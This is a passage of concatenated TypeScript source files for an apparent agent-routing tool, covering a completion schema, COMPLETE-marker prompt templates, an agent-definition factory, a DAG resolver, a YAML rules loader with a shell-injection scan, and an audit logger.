semantics. Consumer at `isComplete()` (lib/ralphLoop.ts) branches\n// on `status === 'COMPLETE'`. PRIMARY signal — see SC3 plan-fork\n// (`outputFormat: { type: 'json_schema', schema: COMPLETION_SCHEMA }`).\n\nexport const COMPLETION_SCHEMA = {\n type: 'object',\n properties: {\n status: { type: 'string', enum: ['COMPLETE', 'PARTIAL', 'BLOCKED'] },\n phase: { type: 'string', enum: ['01-clarify', '02-code', '03-test', '04-deliver'] },\n summary: { type: 'string' },\n blockers: { type: 'array', items: { type: 'string' } },\n },\n required: ['status', 'phase'],\n} as const\n\nexport type CompletionStatus = 'COMPLETE' | 'PARTIAL' | 'BLOCKED'\nexport type CompletionPhase = '01-clarify' | '02-code' | '03-test' | '04-deliver'\n\n/** SDK result envelope shape consumed by lib/ralphLoop.ts `isComplete` 4-layer\n * detect. Mirrors `SDKResultMessage` (sdk.d.ts) — only the fields we read. */\nexport interface SdkResultEnvelope {\n subtype?: string\n structured_output?: { status?: CompletionStatus }\n text?: string\n result?: string\n}\n","// Phase 1.4 T3.3 — main agent system prompt verbatim COMPLETE template (Pattern O).\n// Phase 1.5 T5.1 — `<promise>COMPLETE</promise>` XML wrapper upgrade (ADR 0009 §\n// Decision Errata 3 / D1.5-4 sub-item 3 / R2 fresh 2026-05-14).\n// Phase 2.2 W2 T2.3 — dual-signal PRIMARY schema inject (ADR 0011 errata B-02\n// B-27 PATTERNS § 2.3 / § 2.5 row 5). Belt-and-suspenders: when outputFormat\n// json_schema is set on the query, agents emit a structured object conforming\n// to COMPLETION_SCHEMA (PRIMARY signal); they ALSO emit\n// `<promise>COMPLETE</promise>` (FALLBACK signal — required for inner-layer\n// subagent completion detection per RESEARCH § 1.3 4-layer table).\n//\n// IMPL NOTE — 1:1 对应 docs/AGENT-DEFINITION-FACTORY-CONTRACT.md § 5.4 verbatim\n// COMPLETE template. D-18 plan-checker enforce: any drift here = ADR 0009+\n// errata trigger. F33 P1 mitigation — main agent must pass subagent final\n// message verbatim (no summarize/paraphrase) so that the COMPLETE token\n// survives round-trip.\n//\n// Phase 1.5 upgrade: raw `^COMPLETE$/m` regex → `<promise>COMPLETE</promise>`\n// verbatim XML wrapper. The XML wrapper disambiguates think-out-loud text (e.g.\n// \"I should output COMPLETE to signal done\") from the actual completion signal.\n// SPIKE-REPORT-2.md § 3 validated `<promise>([^<]+)</promise>` extract is robust\n// against false positives that the raw `^COMPLETE$/m` regex was prone to.\n// Switching to the official `--add-plugin ralph-wiggum` plugin (phase 2.1+,\n// ADR 0010+ evaluation window) keeps this protocol unchanged — `<promise>...\n// </promise>` is the ralph-wiggum official tag format.\n//\n// Pattern O (phase 1.4) — verbatim instructional prompt template; the const\n// SYSTEM_PROMPT is the single source of truth consumed by engine.ts and echoed\n// inside agentDefinition.ts via COMPLETE_INSTRUCTION (routing-engine.test.ts\n// asserts toContain to lock drift).\n\nimport { COMPLETION_SCHEMA } from './completionSchema.js'\n\n/** Main agent system prompt — F33 P1 verbatim COMPLETE 强制 + skills fail-fast\n * + max-iterations × maxTurns 兜底. Sourced 1:1 from contract § 5.4.\n * Phase 2.2 W2 T2.3 appends a dual-signal segment for the SC3 PRIMARY path. */\nexport const SYSTEM_PROMPT = `## RULE: subagent COMPLETE marker\nWhen you spawn a subagent and it returns a final message:\n1. **DO NOT summarize, paraphrase, or interpret the subagent's final message**\n2. **DO NOT skip or omit the COMPLETE marker**\n3. The subagent will emit \\`<promise>COMPLETE</promise>\\` (exact verbatim XML wrapper) when done\n4. You MUST verbatim grep \\`<promise>COMPLETE</promise>\\` from final message → if present, treat task as done\n5. If \\`<promise>COMPLETE</promise>\\` absent → re-spawn subagent (max 20 iterations); after max, throw VerbatimCompleteFailError\n\n## skills fail-fast handling\n- SkillNotInstalledError → print user-friendly fix command (e.g., \"Run: harnessed install <name>\")\n- RestartRequiredError → print \"请 exit + restart Claude Code 让 plugin 生效\"\n\n## 兜底 max-iterations\n- max-iterations 20 (external ralph-loop) × maxTurns 50 (internal AgentDefinition) = 1000 round-trips worst case\n\n## Completion signal (dual-signal — emit BOTH)\nIf \\`outputFormat: { type: 'json_schema' }\\` is set on this query, emit a final-turn output conforming to the schema (status/phase/summary/blockers — keys: ${Object.keys(COMPLETION_SCHEMA.properties).join(', ')}).\nAND emit \\`<promise>COMPLETE</promise>\\` (FALLBACK signal — required regardless of structured output presence, for inner-layer subagent completion detection per RESEARCH § 1.3).\n`\n\n/** Subagent-side CRITICAL RULE — prepended into AgentDefinition.prompt by the\n * factory (T3.2). Instructs the subagent to emit `<promise>COMPLETE</promise>`\n * verbatim once done so the main agent's XML-wrapper extract matches without\n * paraphrase loss and without think-out-loud false positives. */\nexport const COMPLETE_INSTRUCTION = `## CRITICAL RULE: COMPLETE marker\nWhen your task is done, emit the exact verbatim XML wrapper\n\\`<promise>COMPLETE</promise>\\` on its own line and nothing else after it. Do\nNOT emit any other variant — not \"completed\", not \"DONE\", not bare \\`COMPLETE\\`,\nnot \"✅\". The parent agent will verbatim grep \\`<promise>COMPLETE</promise>\\` —\nany deviation fails the round-trip and forces a re-spawn (max 20 iterations).\n`\n","// Phase 1.4 T3.2 — AgentDefinition factory (1:1 docs/AGENT-DEFINITION-FACTORY-\n// CONTRACT.md v1, frozen at phase 1.3 ship).\n// Phase 1.5 T5.3 — contract v1.1: 12 → 14 字段 (ADR 0009 § Decision Errata 1 /\n// D1.5-4 sub-item 1). Adds `initialPrompt` (Stable) +\n// `criticalSystemReminder_EXPERIMENTAL` (Experimental — `_EXPERIMENTAL` suffix\n// signals the field name itself may change without a semver bump).\n//\n// IMPL NOTE — implements docs/AGENT-DEFINITION-FACTORY-CONTRACT.md v1.1 (v1\n// frozen at phase 1.3 ship; v1.1 additive errata appended at phase 1.5). ADR\n// 0009 § Decision Errata 1 cross-link tracks the 12 → 14 字段 delta. D-14\n// throw-error (not Result wrap) — typed error classes propagate to engine.ts\n// narrow into EngineResult. D1.4-14 prepends Karpathy 4 心法 always-on baseline\n// + COMPLETE_INSTRUCTION (1:1 imported from systemPrompt.ts T3.3). Any enum\n// drift across the 14 字段 = ADR 0009+ errata trigger (D-18 enforce — W-5 V1\n// BLOCKER drift detector enum extended 12 → 14: see AGENT_DEFINITION_FIELDS +\n// routing-engine.test.ts cell 13 / routing-agentDefinition.test.ts cell 1).\n//\n// IMPL NOTE — F40-2 (executor 2026-05-13): contract § 3 shows\n// `import type { AgentDefinition } from '@anthropic-ai/claude-agent-sdk'` as\n// the ideal anchor. package.json does NOT include the SDK runtime dep; to\n// preserve karpathy YAGNI + avoid an architectural surface change mid-execute,\n// this file declares the AgentDefinition shape **structurally 1:1** with\n// contract § 2 inline. Drift caught by routing-agentDefinition.test.ts cell 1\n// (memory + permissionMode enum value assert — B-1/B-2 V1 BLOCKER fix). SDK\n// type alias migration deferred to phase 1.5 (D1.4-2 errata window).\n// SPIKE-REPORT.md § 3 verbatim COMPLETE round-trip FEASIBLE on Win Git Bash\n// claude CLI v2.1.133 — verbatim grep `^COMPLETE$/m` stable.\n\nimport { existsSync } from 'node:fs'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { COMPLETE_INSTRUCTION } from './systemPrompt.js'\n\n/** AgentDefinition — structural mirror of contract § 2 v1.1 (14 fields). Drift\n * caught by routing-agentDefinition.test.ts cell 1 + routing-engine.test.ts\n * cell 13 enum value asserts (W-5 V1 BLOCKER drift detector — 14 字段). */\nexport interface AgentDefinition {\n // Required (§ 2.1)\n description: string\n prompt: string\n // Optional (§ 2.2 — 10 fields)\n tools?: string[]\n disallowedTools?: string[]\n model?: 'sonnet' | 'opus' | 'haiku' | 'inherit' | string\n skills?: string[]\n mcpServers?: Record<string, unknown>\n memory?: 'user' | 'project' | 'local'\n maxTurns?: number\n background?: boolean\n effort?: 'low' | 'medium' | 'high' | 'xhigh' | 'max' | number\n permissionMode?: 'default' | 'acceptEdits' | 'bypassPermissions' | 'plan'\n // v1.1 errata (§ 2.3 — ADR 0009 § Decision Errata 1, 2026-05-14)\n /** Stable (2026-05): auto-submitted as the first user turn when a plugin\n * agent runs as the main-thread agent (plugin settings.json `agent: <name>`\n * upgrade scenario only). */\n initialPrompt?: string\n /** EXPERIMENTAL: critical reminder injected into the system prompt. The\n * `_EXPERIMENTAL` suffix signals the API may rename this field WITHOUT a\n * semver bump — monitor code.claude.com/docs/en/agent-sdk/typescript release\n * notes (ADR 0009 § Consequences 负面 3). */\n criticalSystemReminder_EXPERIMENTAL?: string\n}\n\n/** W-5 V1 BLOCKER drift detector — the canonical 14-field name list (contract\n * v1.1 § 2). Any add/remove here MUST land with a matching contract.md errata\n * + test cell (D-18 enforce). Extended 12 → 14 at phase 1.5 T5.3. */\nexport const AGENT_DEFINITION_FIELDS = [\n 'description',\n 'prompt',\n 'tools',\n 'disallowedTools',\n 'model',\n 'skills',\n 'mcpServers',\n 'memory',\n 'maxTurns',\n 'background',\n 'effort',\n 'permissionMode',\n 'initialPrompt',\n 'criticalSystemReminder_EXPERIMENTAL',\n] as const\n\n/** Routing arbitrate output (1:1 contract § 3). */\nexport interface ArbitrateResult {\n matched_rule_id: string | null\n primary_expert: string | null\n secondary_expert: string | null\n category: 'meta' | 'engineering' | 'design' | 'content' | 'testing' | 'search'\n forbidden_skills?: string[]\n complexity?: 'low' | 'medium' | 'high' | 'xhigh' | 'max'\n required_skills?: string[]\n}\n\n/** User task context (1:1 contract § 3). */\nexport interface TaskContext {\n task: string\n override_keywords?: string[]\n task_type?: string\n cwd?: string\n /** Phase identifier (e.g., \"3.1\") for checkpoint paths. Falls back to \"unknown\" if not provided.\n * Phase 3.1 W1 T1.1 — W-04 fix path (a): eliminates `(matched?.decision as any)?.phase` cast\n * (Karpathy \"Surgical Changes\" + type safety). */\n phaseId?: string\n}\n\n/** Caller overrides (1:1 contract § 3). */\nexport interface AgentDefinitionOpts {\n modelOverride?: AgentDefinition['model']\n permissionModeOverride?: AgentDefinition['permissionMode']\n effortOverride?: AgentDefinition['effort']\n maxTurnsOverride?: number\n /** Filesystem root for skills lookup (test injection); defaults to ~/.claude/skills/ */\n skillsRoot?: string\n}\n\n// 4 typed error classes (contract § 5.1) — D-14 throw-error path, narrowed in engine.ts.\nexport class SkillNotInstalledError extends Error {\n constructor(public skill: string) {\n super(`Skill not installed: ${skill}. Run: harnessed install ${skill} --apply`)\n this.name = 'SkillNotInstalledError'\n }\n}\nexport class InvalidDecisionError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'InvalidDecisionError'\n }\n}\nexport class MissingSkillsError extends Error {\n constructor(public missing: string[]) {\n super(`Required skills missing: ${missing.join(', ')}`)\n this.name = 'MissingSkillsError'\n }\n}\nexport class RestartRequiredError extends Error {\n constructor(public hint: string) {\n super(hint)\n this.name = 'RestartRequiredError'\n }\n}\n\n/** Karpathy 4 心法 (D1.4-14) — always-on baseline prepended to every subagent. */\nconst KARPATHY_BASELINE = `## 心法 (always-on baseline)\n- Think Before Coding: read, plan, then write — never write before understanding.\n- Simplicity First: minimum effective code; avoid unnecessary abstraction.\n- Surgical Changes: small atomic edits; keep history clean.\n- Goal-Driven Execution: each step earns its place by satisfying a goal.\n`\n\n/** harnessed AgentDefinition factory — pure (no spawn). Throws typed errors\n * (D-14) for engine.ts narrow into EngineResult three-state union. */\nexport async function createAgent(\n task: TaskContext,\n decision: ArbitrateResult,\n opts: AgentDefinitionOpts = {},\n): Promise<AgentDefinition> {\n if (!decision.primary_expert) {\n throw new InvalidDecisionError('decision.primary_expert is required (got null)')\n }\n const skillsRoot = opts.skillsRoot ?? join(homedir(), '.claude', 'skills')\n const requested =\n decision.required_skills ?? (decision.primary_expert ? [decision.primary_expert] : [])\n const isInstalled = (name: string) => existsSync(join(skillsRoot, name, 'SKILL.md'))\n const missing = requested.filter((s) => !isInstalled(s))\n if (missing.length === requested.length && requested.length > 0) {\n throw new MissingSkillsError(missing)\n }\n if (missing.length > 0) {\n throw new SkillNotInstalledError(missing[0] as string)\n }\n\n const promptBody = `${KARPATHY_BASELINE}\\n## 任务\\n${task.task}\\n\\n${COMPLETE_INSTRUCTION}`\n\n return {\n description: `Routing-engine spawned subagent (${decision.category}) — primary: ${decision.primary_expert}`,\n prompt: promptBody,\n tools: ['Read', 'Grep', 'Glob', 'Bash', 'Edit', 'Write'],\n disallowedTools: decision.forbidden_skills?.map((s) => `Skill(${s})`),\n model: opts.modelOverride ?? process.env.HARNESSED_AGENT_MODEL ?? 'inherit',\n skills: requested,\n mcpServers: undefined,\n memory: 'project',\n maxTurns: opts.maxTurnsOverride ?? 50,\n background: false,\n effort: opts.effortOverride ?? 'medium',\n permissionMode: opts.permissionModeOverride ?? 'default',\n // v1.1 errata (ADR 0009 § Decision Errata 1) — `initialPrompt` carries the\n // task body for the plugin-main-thread upgrade path;\n // `criticalSystemReminder_EXPERIMENTAL` re-asserts the verbatim\n // <promise>COMPLETE</promise> contract at the system-prompt layer.\n initialPrompt: task.task,\n criticalSystemReminder_EXPERIMENTAL: COMPLETE_INSTRUCTION,\n }\n}\n","// Phase 1.5 T3.1 — DAG resolver (Kahn's algorithm, iterative ≤200L hard limit).\n//\n// IMPL NOTE — implements ADR 0009 § Decision (Errata 4 接口契约升级) + D1.5-1\n// lock. Kahn's algorithm (BFS + indegree queue), self-implemented, NO external\n// graph library (no graphlib / @dagrejs/graphlib / toposort) per karpathy\n// YAGNI — a ≤30L core handles ≤50 manifest dependency graphs. RESEARCH § 1.2\n// rationale for choosing Kahn over DFS-based toposort (4 points):\n// 1. iterative (queue-based) — no recursion, Node.js call-stack safe even\n// for deep linear chains (DFS recursion would risk stack overflow).\n// 2. queue-based — natural to emit a debug trace of processing order.\n// 3. cycle detection is a natural byproduct — after the queue drains, any\n// node with indegree ≠ 0 is provably part of a cycle.\n// 4. karpathy simplicity — the whole algorithm fits in one readable loop.\n// LOC budget: ≤200L hard limit (D-19). SPIKE-REPORT-2.md § 2 validated the\n// algorithm on 5 graph cases (linear / diamond / multi-root / single / cycle)\n// before this file existed — 5/5 PASS including E_DAG_CYCLE detection.\n//\n// Three-state discriminated union `DagResolveResult` mirrors `EngineResult`\n// (engine.ts) per the F41 takeaway — callers narrow on `result.ok` and the\n// TypeScript compiler guarantees `order` xor `cycle` access.\n\nimport { InvalidDecisionError } from './agentDefinition.js'\n\n/** A node identifier within the dependency graph. */\nexport type NodeId = string\n\n/** A single DAG node: an id plus the ids it depends on (edges point dep → id). */\nexport interface DagNode {\n /** Unique node identifier. */\n id: NodeId\n /** Ids this node depends on; each must resolve before this node. */\n deps: NodeId[]\n}\n\n/**\n * Three-state result of {@link resolveDag} — discriminated on `ok`:\n * - `{ ok: true, order }` — topological order (deps before dependents)\n * - `{ ok: false, cycle }` — cycle detected; `cycle` lists the offending nodes\n */\nexport type DagResolveResult = { ok: true; order: NodeId[] } | { ok: false; cycle: NodeId[] }\n\n/**\n * Resolve a dependency graph into a topological order using Kahn's algorithm.\n *\n * Iterative (no recursion) — BFS over an indegree queue. Deterministic output:\n * the ready queue is kept alphabetically sorted so the same graph always yields\n * the same ordering (eases debugging + snapshot tests).\n *\n * @param nodes - graph nodes; `deps` entries referencing unknown ids are ignored\n * (treated as already-satisfied external deps).\n * @returns `{ ok: true, order }` for an acyclic graph, or `{ ok: false, cycle }`\n * listing the nodes that form one or more cycles.\n */\nexport function resolveDag(nodes: DagNode[]): DagResolveResult {\n // Build the id set + adjacency (dep → dependents) + indegree map.\n const ids = new Set<NodeId>(nodes.map((n) => n.id))\n const adj = new Map<NodeId, NodeId[]>()\n const indegree = new Map<NodeId, number>()\n for (const id of ids) {\n adj.set(id, [])\n indegree.set(id, 0)\n }\n for (const node of nodes) {\n for (const dep of node.deps) {\n // Skip edges to unknown ids — external/already-satisfied dependencies.\n if (!ids.has(dep)) continue\n adj.get(dep)?.push(node.id)\n indegree.set(node.id, (indegree.get(node.id) ?? 0) + 1)\n }\n }\n\n // Seed the ready queue with every indegree-0 node, alphabetically sorted.\n const queue: NodeId[] = []\n for (const [id, deg] of indegree) {\n if (deg === 0) queue.push(id)\n }\n queue.sort()\n\n // Kahn main loop — pop a ready node, emit it, decrement its dependents.\n const order: NodeId[] = []\n while (queue.length > 0) {\n const id = queue.shift() as NodeId\n order.push(id)\n let exposed = false\n for (const dependent of adj.get(id) ?? []) {\n const next = (indegree.get(dependent) ?? 0) - 1\n indegree.set(dependent, next)\n if (next === 0) {\n queue.push(dependent)\n exposed = true\n }\n }\n // Keep the queue sorted for deterministic ordering when new nodes appear.\n if (exposed) queue.sort()\n }\n\n // Cycle detection — any node not emitted still has indegree > 0 and is\n // provably part of a cycle (Kahn cannot reach it).\n if (order.length !== ids.size) {\n const cycle: NodeId[] = []\n for (const [id, deg] of indegree) {\n if (deg > 0) cycle.push(id)\n }\n cycle.sort()\n return { ok: false, cycle }\n }\n\n return { ok: true, order }\n}\n\n/**\n * Format a friendly, actionable error message for a detected dependency cycle.\n * Mirrors the phase 1.1 manifest-validate friendly-error style (label + hint +\n * doc reference) so CLI output stays consistent across subsystems.\n *\n * @param cycle - the cycle node ids returned by {@link resolveDag}.\n */\nexport function formatCycleError(cycle: NodeId[]): string {\n const chain = cycle.join(' → ')\n return [\n `Circular dependency detected in skills: ${chain}`,\n ` hint: check 'deps:' field in manifest spec; cycle members above must form an acyclic graph.`,\n ` see docs/adr/0009-routing-l2-engineering-23-shi-errata.md § DAG resolver friendly error.`,\n ].join('\\n')\n}\n\n/**\n * Resolve a graph and throw a typed {@link InvalidDecisionError} on a cycle —\n * convenience wrapper for callers (e.g. engine.ts) that prefer the throw-error\n * path (D-14) over manual three-state narrowing. Returns the topological order\n * directly on success.\n *\n * @param nodes - graph nodes.\n * @throws {InvalidDecisionError} when the graph contains a cycle.\n */\nexport function resolveDagOrThrow(nodes: DagNode[]): NodeId[] {\n const result = resolveDag(nodes)\n if (!result.ok) {\n throw new InvalidDecisionError(formatCycleError(result.cycle))\n }\n return result.order\n}\n","// Phase 1.3 T3.2 — routing/decision_rules.yaml v1 loader + Priority Hit Policy arbitrate.\n// Phase 1.5 T4.3 — v2 schema (mattpocock_phases + engineering rules) + F42 arbitrate.\n// Phase 2.3 W2 T2.2 — ADR 0012 errata: CD-3 negative-space + if_rejected_use redirect\n// sister fn `arbitrateWithRedirect` lives in lib/arbitrateRedirect.ts (proactive split,\n// 沿袭 Phase 2.2 sdkReconcile 先例). Legacy `arbitrate()` 保留 byte-stable (B-18 A7 守恒\n// + 30-sample routing-engine.test.ts byte-stable preservation per PATTERNS D-WP-5(b)).\n// IMPL NOTE (R2 § 1.3 + KICKOFF B1 + D1.3-3): yaml.parseDocument → toJS → Ajv strict\n// validate → checkCmdString 二次过滤 (B1 沿袭 phase 1.1.1 H7 pattern). 全局 rule-set,\n// 与 manifest.spec.decision_rules (per-manifest hint, ADR 0007) schema 完全独立.\n// 仅支持 PRIORITY hit policy (D1.3-3 lock); COLLECT/RULE_ORDER 等推 phase 1.4+.\n// Path migrated from .planning/ to routing/ in phase 1.3.1 sister patch M1\n// (ADR 0007 references in main body retained as ship-time accurate; ADR 0008\n// errata in phase 1.4 will officially document path).\n//\n// IMPL NOTE — phase 1.5 T4.3 (ADR 0009 § Decision / D1.5-12 / F42): v2 schema\n// is additive — `version` accepts 1 OR 2; an optional top-level\n// `mattpocock_phases` map (4 phase × skills + triggers) is allowed; RuleSchema\n// stays permissive (`when` / `decision` are open records) so engineering rules\n// carrying `keywords` / `skills_overlay` / `triggers` validate without a strict\n// per-field schema. `arbitrate` gains an F42 array-element substring match for\n// the new `keywords` field + `signals` task context — NO regex / embedding\n// deps (karpathy YAGNI). v1 scalar `task_type` matching is unchanged so the\n// phase 1.4 30-sample baseline + routing-engine tests stay byte-stable.\n\nimport { readFileSync } from 'node:fs'\nimport { type Static, Type as T } from '@sinclair/typebox'\nimport { Ajv } from 'ajv'\nimport { parseDocument } from 'yaml'\nimport { checkCmdString } from '../manifest/security.js'\n\nconst Domain = T.Union([\n T.Literal('meta'),\n T.Literal('engineering'),\n T.Literal('design'),\n T.Literal('content'),\n T.Literal('testing'),\n T.Literal('search'),\n])\nconst HitPolicy = T.Union([T.Literal('P'), T.Literal('F'), T.Literal('U')])\nconst Str1 = T.String({ minLength: 1 })\nconst ObjStrict = <P extends Parameters<typeof T.Object>[0]>(p: P) =>\n T.Object(p, { additionalProperties: false })\n\nconst RuleSchema = ObjStrict({\n id: Str1,\n priority: T.Integer({ minimum: 0 }),\n domain: Domain,\n when: T.Record(T.String(), T.Unknown()),\n decision: T.Record(T.String(), T.Unknown()),\n})\n\n/** v2 — mattpocock 23 招式 phase routing (4 phase × skills + triggers). */\nconst PhaseEntrySchema = ObjStrict({\n skills: T.Array(Str1, { minItems: 1 }),\n triggers: T.Array(Str1, { minItems: 1 }),\n})\nconst MattpocockPhasesSchema = ObjStrict({\n discuss: PhaseEntrySchema,\n plan: PhaseEntrySchema,\n execute: PhaseEntrySchema,\n verify: PhaseEntrySchema,\n})\n\nexport const DecisionRulesFileSchema = ObjStrict({\n // v2 additive (D1.5-10): accept v1 OR v2 — schema stays backward compatible.\n version: T.Union([T.Literal(1), T.Literal(2)]),\n hit_policy: HitPolicy,\n rules: T.Array(RuleSchema, { minItems: 1 }),\n // v2 — optional mattpocock_phases map; absent in v1 files.\n mattpocock_phases: T.Optional(MattpocockPhasesSchema),\n fallback_supervisor: T.Optional(ObjStrict({ trigger: Str1, llm: Str1 })),\n deprecated: T.Optional(T.Array(ObjStrict({ id: Str1, reason: Str1, fallback: Str1 }))),\n})\n\nexport type Rule = Static<typeof RuleSchema>\nexport type PhaseEntry = Static<typeof PhaseEntrySchema>\nexport type MattpocockPhases = Static<typeof MattpocockPhasesSchema>\nexport type DecisionRulesFile = Static<typeof DecisionRulesFileSchema>\nexport type TaskContext = Record<string, unknown>\n\nconst ajv = new Ajv({ strict: true, allErrors: true, allowUnionTypes: false })\nlet _compiled: ReturnType<typeof ajv.compile<DecisionRulesFile>> | null = null\nfunction getValidator() {\n if (!_compiled) _compiled = ajv.compile<DecisionRulesFile>(DecisionRulesFileSchema)\n return _compiled\n}\n\n/** Recursively scan string values for shell metacharacters (B1 gate). */\nfunction scanShellInjection(node: unknown, path = ''): string | null {\n if (typeof node === 'string') {\n const hit = checkCmdString(node)\n return hit ? `${path || '<root>'}: ${hit.label} (${hit.hint})` : null\n }\n if (Array.isArray(node)) {\n for (let i = 0; i < node.length; i++) {\n const v = scanShellInjection(node[i], `${path}[${i}]`)\n if (v) return v\n }\n return null\n }\n if (node && typeof node === 'object') {\n for (const [k, v] of Object.entries(node)) {\n const hit = scanShellInjection(v, path ? `${path}.${k}` : k)\n if (hit) return hit\n }\n }\n return null\n}\n\nexport function loadDecisionRules(yamlPath: string): DecisionRulesFile {\n const doc = parseDocument(readFileSync(yamlPath, 'utf8'))\n if (doc.errors.length > 0) {\n throw new Error(`decision_rules yaml parse error: ${doc.errors[0]?.message}`)\n }\n const data = doc.toJS()\n const validate = getValidator()\n if (!validate(data)) {\n const e = validate.errors?.[0]\n throw new Error(`decision_rules schema invalid: ${e?.instancePath || '/'} ${e?.message}`)\n }\n const inj = scanShellInjection(data)\n if (inj) throw new Error(`decision_rules security violation: ${inj}`)\n return data as DecisionRulesFile\n}\n\n/** Priority Hit Policy arbitrate — R2 § 1.3 sketch + F42 array semantic match\n * (phase 1.5 T4.3 / D1.5-12). Scalar `task_type` matching is unchanged from\n * v1; the `keywords` field gains array-element substring matching against the\n * task prompt + signals. NO regex / embedding (karpathy YAGNI). ≤30L. */\nexport function arbitrate(rules: Rule[], task: TaskContext): Rule | null {\n const matches = rules.filter((r) => matchesWhen(r.when, task))\n const [top, second] = [...matches].sort((a, b) => b.priority - a.priority)\n if (!top) return null\n if (second && second.priority === top.priority) return null\n return top\n}\n\n/** F42 array-trigger `when` fields — array-valued rule fields whose elements\n * are matched by substring against the task prompt / signals / same-named task\n * array field. `task_type` is deliberately EXCLUDED: a `task_type` array in a\n * rule keeps its v1 behavior (never matches a scalar task value) so the phase\n * 1.4 30-sample baseline stays byte-stable (testing samples unchanged). */\nconst ARRAY_TRIGGER_FIELDS = new Set(['keywords', 'signals', 'override_keywords'])\n\n/** Lower-cased substring search for `needle` across the task's prompt + signals\n * + an extra same-named array field (F42 array semantic match). */\nfunction taskHas(task: TaskContext, needle: string, extraKey?: string): boolean {\n const n = needle.toLowerCase()\n const prompt = typeof task.prompt === 'string' ? task.prompt.toLowerCase() : ''\n if (prompt.includes(n)) return true\n const sources: unknown[] = []\n if (Array.isArray(task.signals)) sources.push(...(task.signals as unknown[]))\n if (extraKey && extraKey !== 'signals' && Array.isArray(task[extraKey])) {\n sources.push(...(task[extraKey] as unknown[]))\n }\n return sources.some((s) => typeof s === 'string' && s.toLowerCase().includes(n))\n}\n\n/** v1 scalar match (unchanged) + v2 F42 array semantic match. */\nfunction matchesWhen(when: Record<string, unknown>, task: TaskContext): boolean {\n for (const [k, v] of Object.entries(when)) {\n if (ARRAY_TRIGGER_FIELDS.has(k) && Array.isArray(v)) {\n // F42 — rule hits if ANY trigger element is a substring of the task\n // prompt / signals / same-named task array field.\n if (!v.some((kw) => typeof kw === 'string' && taskHas(task, kw, k))) return false\n continue\n }\n if (Array.isArray(v)) {\n // F42 — a non-trigger array-valued `when` field (e.g. `task_type` arrays\n // in perf-a11y-memory / ai-explore-debug) matches by membership: the\n // scalar task value must be one of the rule's listed values. v1 treated\n // these as never-match; phase 1.5 SAMPLES.md § 8.1 upgrades them.\n if (!v.includes(task[k])) return false\n continue\n }\n // v1 behavior — strict scalar equality.\n if (task[k] !== v) return false\n }\n return true\n}\n\n/** Extract the v2 mattpocock_phases map (4 phase × skills + triggers), or null\n * for a v1 file. Lets engineering `skills_overlay.ref` callers resolve the\n * cross-linked skill list without re-parsing the yaml. */\nexport function getMattpocockPhases(file: DecisionRulesFile): MattpocockPhases | null {\n return file.mattpocock_phases ?? null\n}\n\n// Phase 2.3 W2 T2.2 — CD-3 redirect-aware arbitrate (B-18 proactive split + ADR 0012 errata).\nexport { type ArbitrateResult, arbitrateWithRedirect } from './lib/arbitrateRedirect.js'\n","// src/audit/log.ts — Phase 4.3 W1 T1.1 (R8.1 audit log NEW infra per ADR 0018 PRIMARY).\n// JSONL append-only writer + 11-field schema per D-01 LOCKED (CONTEXT.md L34-50).\n// Sync (NOT async sister state.ts): logging path no-await + atomic O_APPEND per RESEARCH § 2.3.\n// Single SoT for routing-decision dimension forward-only per D-02 LOCKED (cross-ref ADR 0019).\n// v3.0.3 — AUDIT_PATH routed through harnessedRoot SoT (homedir-rooted; EPERM-free).\n\nimport { createHash } from 'node:crypto'\nimport { appendFileSync, mkdirSync } from 'node:fs'\nimport { dirname } from 'node:path'\nimport { type Static, Type } from '@sinclair/typebox'\nimport { harnessedFile } from '../installers/lib/harnessedRoot.js'\nimport type { ArbitrateResult, TaskContext } from '../routing/agentDefinition.js'\nimport type { Rule } from '../routing/decisionRules.js'\n\n// Computed lazily on first emit so harnessedRoot migration (if any) lands\n// before path composition.\nfunction auditPath(): string {\n return harnessedFile('audit.log')\n}\n\nexport const AuditRecordSchema = Type.Object(\n {\n ts: Type.String(),\n phase: Type.String(),\n task_excerpt: Type.String(),\n task_sha1: Type.String(),\n matched_rule_id: Type.Union([Type.String(), Type.Null()]),\n primary_expert: Type.Union([Type.String(), Type.Null()]),\n secondary_expert: Type.Union([Type.String(), Type.Null()]),\n category: Type.String(),\n route_layer: Type.String(),\n outcome: Type.String(),\n session_id: Type.Union([Type.String(), Type.Null()]),\n iter_count: Type.Union([Type.Number(), Type.Null()]),\n },\n { additionalProperties: false },\n)\nexport type AuditRecord = Static<typeof AuditRecordSchema>\n\nexport interface AuditCtx {\n outcome: string\n routeLayer: string\n sessionId?: string\n iterCount: number | null\n}\n\nexport function buildAuditRecord(\n task: TaskContext,\n decision: ArbitrateResult,\n matched: Rule | null,\n ctx: AuditCtx,\n): AuditRecord {\n return {\n ts: new Date().toISOString(),\n phase: task.phaseId ?? 'unknown',\n task_excerpt: task.task.slice(0, 200),\n task_sha1: createHash('sha1').update(task.task).digest('hex'),\n matched_rule_id: matched?.id ?? null,\n primary_expert: (decision.primary_expert as string | null) ?? null,\n secondary_expert: (decision.secondary_expert as string | null) ?? null,\n category: decision.category,\n route_layer: ctx.routeLayer,\n outcome: ctx.outcome,\n session_id: ctx.sessionId ?? null,\n iter_count: ctx.iterCount,\n }\n}\n\nexport function emitAuditRecord(record: AuditRecord): void {\n const path = auditPath()\n mkdirSync(dirname(path), { recursive: true })\n appendFileSync(path, `${JSON.stringify(record)}\\n`)\n}\n","// src/audit/hook.ts — Phase 4.3 W1 T1.2 (sister engineHook.ts ≤50L PRIMARY helper extract pattern延袭).\n// Extracted thin wrapper keeps engine.ts ≤200L Karpathy hard limit clean (HIGH RISK R-1 mitigation).\n// Single responsibility: bridge engine.ts outcome → audit log emit (fail-soft sync NO throw).\n// W1 T1.3 follow-up: signature derives routeLayer from `matched` + defaults iterCount=null inside\n// hook to keep engine.ts call sites single-line (≤200L budget headroom mitigation).\n\nimport type { ArbitrateResult, TaskContext } from '../routing/agentDefinition.js'\nimport type { Rule } from '../routing/decisionRules.js'\nimport { buildAuditRecord, emitAuditRecord } from './log.js'\n\nexport type AuditOutcome =\n | 'complete'\n | 'max-iter'\n | 'verbatim-fail'\n | 'spawn-err'\n | 'install-err'\n | 'arbitrate-err'\n\nexport function emitAudit(\n task: TaskContext,\n decision: ArbitrateResult,\n matched: Rule | null,\n outcome: AuditOutcome,\n sessionId?: string,\n): void {\n emitAuditRecord(\n buildAuditRecord(task, decision, matched, {\n outcome,\n routeLayer: matched ? 'L1-keyword' : 'L3-fallback',\n sessionId,\n iterCount: 